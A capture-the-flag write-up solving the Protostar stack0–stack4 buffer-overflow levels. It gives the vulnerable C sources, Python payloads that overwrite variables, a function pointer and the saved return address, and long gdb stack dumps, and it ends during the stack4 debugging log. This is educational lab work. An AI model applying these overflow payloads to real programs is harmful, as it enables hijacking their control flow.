All the Exploit.Education problems are in their downloads page as iso files which have to be mounted to a machine (VM).

Table of Contents :book:

Challenges Summary
stack0 trigger sigsegv, basic memory corruption
stack1 change the value of another var
stack2 change another var to an unprintable value from an environment var
stack3 overwrite a function pointer variable to point to another function
stack4 overwrite the instruction pointer to call an uncalled function
stack5 spawn a shell using a shellcode and overwriting the instruction pointer to jump to it
stack6 ret2.text and ret2libc
stack7 ret2.text again

stack0 :round_pushpin:

Problem :lock:

The concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

Source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Solution :key:

Since all we need to do is to change the modified variable, we can input 65 chars to fill up the buffer[64] variable, then we will have 1 char leftover that will “contaminate” the variable after it which is the modified variable.

user@protostar:/opt/protostar/bin$ python -c "print 'a'*65"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user@protostar:/opt/protostar/bin$ ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
you have changed the 'modified' variable

stack1 :round_pushpin:

Problem :lock:

This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.

Source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Hint :bulb:

If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.

Protostar is little endian

Solution :key:

We already know that we can overwrite the value of modified by filling up buffer[64], so by looking at the source, it shows that we have to change the value of modified into 0x61626364. Referring to the 1st hint, we look at man ascii to find this

Oct   Dec   Hex   Char
──────────────────────
...
141   97    61    a
142   98    62    b
143   99    63    c
144   100   64    d
...

Now we know that we need to overwrite modified with those chars, regarding the 2nd hint, being little endian means that 0x61626364 translates into dcba, not abcd, so we have to “invert” our payload. So the final payload is 64 chars concatenated with dcba, and since we need to put our payload in argv[1], we do this:

user@protostar:/opt/protostar/bin$ python -c "print 'a'*64"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user@protostar:/opt/protostar/bin$ ./stack1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba
you have correctly got the variable to the right value

stack2 :round_pushpin:

Problem :lock:

Stack2 looks at environment variables, and how they can be set.

Source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Solution :key:

I managed to solve this after watching this video (highly recommended that you watch this first) a couple times, I will be using the gdb debugging technique as demonstrated in the video.

First we set the environment variable with the export command:

export GREENIE=BBAA

We then open up gdb ./stack2 then set 2 breakpoints at before and after strcpy.

(gdb) disas main
Dump of assembler code for function main:
...
0x080484df <main+75>:   call   0x804839c <strcpy@plt>
0x080484e4 <main+80>:   mov    eax,DWORD PTR [esp+0x58]
...
End of assembler dump.
(gdb) break *0x080484df
Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20.
(gdb) break *0x080484e4
Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.

After that we run the program, because I used the hook-stop shown in the video, I can conviniently see the stack at each breakpoint, here’s the stack before strcpy is run:

0xbffff730:     0xbffff748      0xbffffa00      0xb7fff8f8      0xb7f0186e
0xbffff740:     0xb7fd7ff4      0xb7ec6165      0xbffff758      0xb7eada75
0xbffff750:     0xb7fd7ff4      0x08049748      0xbffff768      0x08048358
0xbffff760:     0xb7ff1040      0x08049748      0xbffff798      0x08048549
0xbffff770:     0xb7fd8304      0xb7fd7ff4      0x08048530      0xbffff798
0xbffff780:     0xb7ec6365      0xb7ff1040      0x00000000      0xbffffa00

Here’s after strcpy copied $GREENIE environment variable (with the value BBAA which translates into 0x41414242) into buffer[64]:

0xbffff730:     0xbffff748      0xbffffa00      0xb7fff8f8      0xb7f0186e
0xbffff740:     0xb7fd7ff4      0xb7ec6165      0x41414242      0xb7eada00
0xbffff750:     0xb7fd7ff4      0x08049748      0xbffff768      0x08048358
0xbffff760:     0xb7ff1040      0x08049748      0xbffff798      0x08048549
0xbffff770:     0xb7fd8304      0xb7fd7ff4      0x08048530      0xbffff798
0xbffff780:     0xb7ec6365      0xb7ff1040      0x00000000      0xbffffa00

We see that it gets copied into 0xbffff748 (which is the third column of the 0xbffff740 row). We also see that the modified variable with the value 0 is possibly at 0xbffff788, counting the “distance” between the two variables, it sums up to 64 total chars. Knowing this, let’s change the $GREENIE variable and then restart from the beginning:

export GREENIE=$(python -c "str = 'A'*64; str += 'BBBB'; print str")

Now we look at the stack after strcpy ran:

0xbffff6f0:     0xbffff708      0xbffff9c0      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0x41414141      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x42424242      0xbffff900

We see that BBBB actually gets in 0xbffff788, if we try to continue the program we get:

(gdb) c
Continuing.
Try again, you got 0x42424242

Now if we look at the source code, we need to change the value of 0xbffff788 into 0x0a0d0a0d. I found this article and learned how to echo simple binary data. With using subcommands, we can put it in the $GREENIE environment variable!

export GREENIE=$(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d")

We check the contents of $GREENIE:

user@protostar:/opt/protostar/bin$ printf %s "$GREENIE" | hexdump -Cv
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000040  0a 0d 0a 0d                                       |....|
00000044

Nice, our last 4 bytes are 0x0d0a0d0a (little endian) just like how the source wants it. Now we try to run it in gdb and look at the stack after strcpy:

0xbffff6f0:     0xbffff708      0xbffff9c0      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0x41414141      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x0d0a0d0a      0xbffff900

Continue until it’s done:

(gdb) c
Continuing.
you have correctly modified the variable

We can also just run it normally since environment variables are accessible to all processes:

user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
Full debugging process
user@protostar:/opt/protostar/bin$ export GREENIE=$(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d")
user@protostar:/opt/protostar/bin$ gdb ./stack2
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack2...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop 
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp 
>x/2i $eip 
>end
(gdb) disas main
Dump of assembler code for function main:
0x08048494 <main+0>:    push   ebp
0x08048495 <main+1>:    mov    ebp,esp
0x08048497 <main+3>:    and    esp,0xfffffff0
0x0804849a <main+6>:    sub    esp,0x60
0x0804849d <main+9>:    mov    DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>:   call   0x804837c <getenv@plt>
0x080484a9 <main+21>:   mov    DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>:   cmp    DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>:   jne    0x80484c8 <main+52>
0x080484b4 <main+32>:   mov    DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>:   mov    DWORD PTR [esp],0x1
0x080484c3 <main+47>:   call   0x80483bc <errx@plt>
0x080484c8 <main+52>:   mov    DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>:   mov    DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>:   lea    eax,[esp+0x18]
0x080484dc <main+72>:   mov    DWORD PTR [esp],eax
0x080484df <main+75>:   call   0x804839c <strcpy@plt>
0x080484e4 <main+80>:   mov    eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>:   cmp    eax,0xd0a0d0a
0x080484ed <main+89>:   jne    0x80484fd <main+105>
0x080484ef <main+91>:   mov    DWORD PTR [esp],0x8048618
0x080484f6 <main+98>:   call   0x80483cc <puts@plt>
0x080484fb <main+103>:  jmp    0x8048512 <main+126>
0x080484fd <main+105>:  mov    edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>:  mov    eax,0x8048641
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) break *0x080484df
Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20.
(gdb) break *0x080484e4
Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/stack2 
0xbffff6f0:     0xbffff708      0xbffff9c0      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0xbffff718      0xb7eada75
0xbffff710:     0xb7fd7ff4      0x08049748      0xbffff728      0x08048358
0xbffff720:     0xb7ff1040      0x08049748      0xbffff758      0x08048549
0xbffff730:     0xb7fd8304      0xb7fd7ff4      0x08048530      0xbffff758
0xbffff740:     0xb7ec6365      0xb7ff1040      0x00000000      0xbffff9c0
0x80484df <main+75>:    call   0x804839c <strcpy@plt>
0x80484e4 <main+80>:    mov    eax,DWORD PTR [esp+0x58]

Breakpoint 1, 0x080484df in main (argc=1, argv=0xbffff804) at stack2/stack2.c:20
20      stack2/stack2.c: No such file or directory.
        in stack2/stack2.c
(gdb) c
Continuing.
0xbffff6f0:     0xbffff708      0xbffff9c0      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0x41414141      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x0d0a0d0a      0xbffff900
0x80484e4 <main+80>:    mov    eax,DWORD PTR [esp+0x58]
0x80484e8 <main+84>:    cmp    eax,0xd0a0d0a

Breakpoint 2, main (argc=1, argv=0xbffff804) at stack2/stack2.c:22
22      in stack2/stack2.c
(gdb) c
Continuing.
you have correctly modified the variable

Program exited with code 051.
Error while running hook_stop:
No registers.
(gdb)

stack3 :round_pushpin:

Problem :lock:

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack

Source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Hint :bulb:

both gdb and objdump is your friend in helping you determine where the win() function lies in memory.

Solution :key:

I learned how to redirect a file as “input from stdin” to a program opened in gdb and find the location of a function in the stack after watching this video which then made me solve this problem.

First we find the location of the win() function through gdb with:

(gdb) x win
0x8048424 <win>:        0x83e58955

Now we know the function is at 0x8048424, so let’s make the payload file (through another ssh session so we don’t exit gdb):

python -c "pl = 'A'*64; pl += '\x24\x84\x04\x08'; print pl" > payload.txt

Now let’s set a breakpoint before printf we will know that we have successfully overwritten the fp variable if we trigger the breakpoint, we just want to know the value of fp now:

(gdb) disas main
Dump of assembler code for function main:
...
0x0804846c <main+52>:   call   0x8048350 <printf@plt>
...
End of assembler dump.
(gdb) b *0x0804846c
Breakpoint 1 at 0x804846c: file stack3/stack3.c, line 21.

From the video, we can now direct the file (containing our payload) as input from stdin in gdb:

(gdb) r < /home/user/payload.txt

when we hit the breakpoint, we see the stack:

0xbffff740:     0x08048560      0x08048424      0xb7fff8f8      0xb7f0186e
0xbffff750:     0xb7fd7ff4      0xb7ec6165      0xbffff768      0x41414141
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x08048424

Looks like we have overwritten the value of 0xbffff79c into 0x08048424 successfully, so we continue the program:

(gdb) c
Continuing.
calling function pointer, jumping to 0x08048424
code flow successfully changed

We have successfully overwritten the value of fp to the address of win(), and because fp is now a function pointer pointing to win(), calling fp means we are calling win().

Full debugging process
user@protostar:~$ python -c "pl = 'A'*64; pl += '\x24\x84\x04\x08'; print pl" > payload.txt
user@protostar:~$ cat payload.txt 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$�
user@protostar:/opt/protostar/bin$ gdb ./stack3
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>end
(gdb) disas main
Dump of assembler code for function main:
0x08048438 <main+0>:    push   ebp
0x08048439 <main+1>:    mov    ebp,esp
0x0804843b <main+3>:    and    esp,0xfffffff0
0x0804843e <main+6>:    sub    esp,0x60
0x08048441 <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>:   lea    eax,[esp+0x1c]
0x0804844d <main+21>:   mov    DWORD PTR [esp],eax
0x08048450 <main+24>:   call   0x8048330 <gets@plt>
0x08048455 <main+29>:   cmp    DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>:   je     0x8048477 <main+63>
0x0804845c <main+36>:   mov    eax,0x8048560
0x08048461 <main+41>:   mov    edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>:   mov    DWORD PTR [esp+0x4],edx
0x08048469 <main+49>:   mov    DWORD PTR [esp],eax
0x0804846c <main+52>:   call   0x8048350 <printf@plt>
0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:   call   eax
0x08048477 <main+63>:   leave  
0x08048478 <main+64>:   ret    
End of assembler dump.
(gdb) b *0x0804846c
Breakpoint 1 at 0x804846c: file stack3/stack3.c, line 21.
(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack3 < /home/user/payload.txt
0xbffff740:     0x08048560      0x08048424      0xb7fff8f8      0xb7f0186e
0xbffff750:     0xb7fd7ff4      0xb7ec6165      0xbffff768      0x41414141
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x08048424

Breakpoint 1, 0x0804846c in main (argc=1, argv=0xbffff854) at stack3/stack3.c:21
21      stack3/stack3.c: No such file or directory.
        in stack3/stack3.c
(gdb) c
Continuing.
calling function pointer, jumping to 0x08048424
code flow successfully changed

Program exited with code 037.
Error while running hook_stop:
No registers.
(gdb) 

stack4 :round_pushpin:

Problem :lock:

Stack4 takes a look at overwriting saved EIP and standard buffer overflows.

Source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Hint :bulb:

A variety of introductory papers into buffer overflows may help.

gdb lets you do “run < input”

EIP is not directly after the end of buffer, compiler padding can also increase the size.

Solution :key:

This solution will consist of 2 parts:

  1. failed attempt
  2. successful attempt due to information gained after the failed attempt

First I went into gdb to find out where win() is located in the stack:

(gdb) x win
0x80483f4 <win>:        0x83e58955

Now we know win() is at 0x80483f4, so my first attempt was to fill up buffer[64] and then overwriting the eip that was pushed into the stack when main was called by __libc_start_main:

python -c "pl = 'A'*64; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt

Let’s disassemble main and set some breakpoints to know how the stack and registers changes:

(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
...
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave  
...
End of assembler dump.
(gdb) b *0x08048408
Breakpoint 1 at 0x8048408: file stack4/stack4.c, line 12.
(gdb) b *0x08048409
Breakpoint 2 at 0x8048409: file stack4/stack4.c, line 12.
(gdb) b *0x08048418
Breakpoint 3 at 0x8048418: file stack4/stack4.c, line 15.
(gdb) b *0x0804841d
Breakpoint 4 at 0x804841d: file stack4/stack4.c, line 16.

The reasons for the breakpoints are:

So we run the program, 1st breakpoint, stack and registers looks like this:

0xbffff7ac:     0xb7eadc76      0x00000001      0xbffff854      0xbffff85c
0xbffff7bc:     0xb7fe1848      0xbffff810      0xffffffff      0xb7ffeff4
0xbffff7cc:     0x0804824b      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0x0140fbd8      0x2b17edc8
0xbffff7fc:     0x00000000      0x00000000      0x00000000      0x00000001
...
ebp            0xbffff828       0xbffff828
eip            0x8048408        0x8048408 <main>

Continue, 2nd breakpoint, we see that ebp with the value 0xbffff828 was indeed pushed into the stack at 0xbffff7a8, and now the stack view has shifted a by 1 column:

0xbffff7a8:     0xbffff828      0xb7eadc76      0x00000001      0xbffff854
0xbffff7b8:     0xbffff85c      0xb7fe1848      0xbffff810      0xffffffff
0xbffff7c8:     0xb7ffeff4      0x0804824b      0x00000001      0xbffff810
0xbffff7d8:     0xb7ff0626      0xb7fffab0      0xb7fe1b28      0xb7fd7ff4
0xbffff7e8:     0x00000000      0x00000000      0xbffff828      0x0140fbd8
0xbffff7f8:     0x2b17edc8      0x00000000      0x00000000      0x00000000
...
ebp            0xbffff828       0xbffff828
eip            0x8048409        0x8048409 <main+1>

Continue, 3rd breakpoint, the stack pointer has moved, so the stack view has also moved, but we can still see our old ebp that was pushed at 0xbffff7a8:

0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0xb7fd7ff4      0x080495ec      0xbffff778      0x080482e8
0xbffff770:     0xb7ff1040      0x080495ec      0xbffff7a8      0x08048449
0xbffff780:     0xb7fd8304      0xb7fd7ff4      0x08048430      0xbffff7a8
0xbffff790:     0xb7ec6365      0xb7ff1040      0x0804843b      0xb7fd7ff4
0xbffff7a0:     0x08048430      0x00000000      0xbffff828      0xb7eadc76
...
ebp            0xbffff7a8       0xbffff7a8
eip            0x8048418        0x8048418 <main+16>

Continue, 4th breakpoint, gets has run and now we see our payload in the stack:

0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7a0:     0x080483f4      0x00000000      0xbffff828      0xb7eadc76
...
ebp            0xbffff7a8       0xbffff7a8
eip            0x804841d        0x804841d <main+21>

We can see that we wrote the return address too soon (at 0xbffff7a0) as hinted by the 3rd hint. So we extend our fillers by 8 more chars to fill up more memory and overwrite the old ebp at 0xbffff7a8:

python -c "pl = 'A'*72; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt

We do everything from the beginning and now after the 4th breakpoint the stack looks like this:

0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7a0:     0x41414141      0x41414141      0x080483f4      0xb7eadc00

Looks like we have overwritten ebp to the address of win(), but if we continue the program we get sigsegv:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.

Second attempt, I realized that what we needed to overwrite was not the ebp (which is pushed in the main function) but the eip that was pushed right before it (by the __libc_start_main function who is the caller of main function), so now we enlarge the filler by another 4 bytes:

python -c "pl = 'A'*76; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt

Now at the 4th breakpoint the stack looks like this:

0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7a0:     0x41414141      0x41414141      0x41414141      0x080483f4

Continue, and we successfully changed the program flow

(gdb) c
Continuing.
code flow successfully changed

Doing it without gdb:

user@protostar:/opt/protostar/bin$ cat /home/user/payload.txt | ./stack4
code flow successfully changed
Segmentation fault
Full debugging process
user@protostar:~$ python -c "pl = 'A'*76; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt
user@protostar:/opt/protostar/bin$ gdb ./stack4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) set disassembly-flavor intel 
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>info registers
>x/2i $eip
>end
(gdb) x win
0x80483f4 <win>:        0x83e58955
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
0x08048409 <main+1>:    mov    ebp,esp
0x0804840b <main+3>:    and    esp,0xfffffff0
0x0804840e <main+6>:    sub    esp,0x50
0x08048411 <main+9>:    lea    eax,[esp+0x10]
0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave  
0x0804841e <main+22>:   ret    
End of assembler dump.
(gdb) b *0x08048408
Breakpoint 1 at 0x8048408: file stack4/stack4.c, line 12.
(gdb) b *0x08048409
Breakpoint 2 at 0x8048409: file stack4/stack4.c, line 12.
(gdb) b *0x08048418
Breakpoint 3 at 0x8048418: file stack4/stack4.c, line 15.
(gdb) b *0x0804841d
Breakpoint 4 at 0x804841d: file stack4/stack4.c, line 16.
(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack4 < /home/user/payload.txt
0xbffff7ac:     0xb7eadc76      0x00000001      0xbffff854      0xbffff85c
0xbffff7bc:     0xb7fe1848      0xbffff810      0xffffffff      0xb7ffeff4
0xbffff7cc:     0x0804824b      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0xfe81a663      0xd4d6b073
0xbffff7fc:     0x00000000      0x00000000      0x00000000      0x00000001
eax            0xbffff854       -1073743788
ecx            0xd4d6b073       -724127629
edx            0x1      1
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7ac       0xbffff7ac
ebp            0xbffff828       0xbffff828
esi            0x0      0
edi            0x0      0
eip            0x8048408        0x8048408 <main>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x8048408 <main>:       push   ebp
0x8048409 <main+1>:     mov    ebp,esp

Breakpoint 1, main (argc=1, argv=0xbffff854) at stack4/stack4.c:12
12      stack4/stack4.c: No such file or directory.
        in stack4/stack4.c
(gdb) c
Continuing.
0xbffff7a8:     0xbffff828      0xb7eadc76      0x00000001      0xbffff854
0xbffff7b8:     0xbffff85c      0xb7fe1848      0xbffff810      0xffffffff
0xbffff7c8:     0xb7ffeff4      0x0804824b      0x00000001      0xbffff810
0xbffff7d8:     0xb7ff0626      0xb7fffab0      0xb7fe1b28      0xb7fd7ff4
0xbffff7e8:     0x00000000      0x00000000      0xbffff828      0xfe81a663
0xbffff7f8:     0xd4d6b073      0x00000000      0x00000000      0x00000000
eax            0xbffff854       -1073743788
ecx            0xd4d6b073       -724127629
edx            0x1      1
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7a8       0xbffff7a8
ebp            0xbffff828       0xbffff828
esi            0x0      0
edi            0x0      0
eip            0x8048409        0x8048409 <main+1>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x8048409 <main+1>:     mov    ebp,esp
0x804840b <main+3>:     and    esp,0xfffffff0

Breakpoint 2, 0x08048409 in main (argc=1, argv=0xbffff854) at stack4/stack4.c:12
12      in stack4/stack4.c
(gdb) c
Continuing.
0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0xb7fd7ff4      0x080495ec      0xbffff778      0x080482e8
0xbffff770:     0xb7ff1040      0x080495ec      0xbffff7a8      0x08048449
0xbffff780:     0xb7fd8304      0xb7fd7ff4      0x08048430      0xbffff7a8
0xbffff790:     0xb7ec6365      0xb7ff1040      0x0804843b      0xb7fd7ff4
0xbffff7a0:     0x08048430      0x00000000      0xbffff828      0xb7eadc76
eax            0xbffff760       -1073744032
ecx            0xd4d6b073       -724127629
edx            0x1      1
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff750       0xbffff750
ebp            0xbffff7a8       0xbffff7a8
esi            0x0      0
edi            0x0      0
eip            0x8048418        0x8048418 <main+16>
eflags         0x200286 [ PF SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x8048418 <main+16>:    call   0x804830c <gets@plt>
0x804841d <main+21>:    leave  

Breakpoint 3, 0x08048418 in main (argc=1, argv=0xbffff854) at stack4/stack4.c:15
15      in stack4/stack4.c
(gdb) c
Continuing.
0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7a0:     0x41414141      0x41414141      0x41414141      0x080483f4
eax            0xbffff760       -1073744032
ecx            0xbffff760       -1073744032
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff750       0xbffff750
ebp            0xbffff7a8       0xbffff7a8
esi            0x0      0
edi            0x0      0
eip            0x804841d        0x804841d <main+21>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x804841d <main+21>:    leave  
0x804841e <main+22>:    ret    

Breakpoint 4, main (argc=0, argv=0xbffff854) at stack4/stack4.c:16
16      in stack4/stack4.c
(gdb) c
Continuing.
code flow successfully changed

Program received signal SIGSEGV, Segmentation fault.
0xbffff7b4:     0xbffff854      0xbffff85c      0xb7fe1848      0xbffff810
0xbffff7c4:     0xffffffff      0xb7ffeff4      0x0804824b      0x00000001
0xbffff7d4:     0xbffff810      0xb7ff0626      0xb7fffab0      0xb7fe1b28
0xbffff7e4:     0xb7fd7ff4      0x00000000      0x00000000      0xbffff828
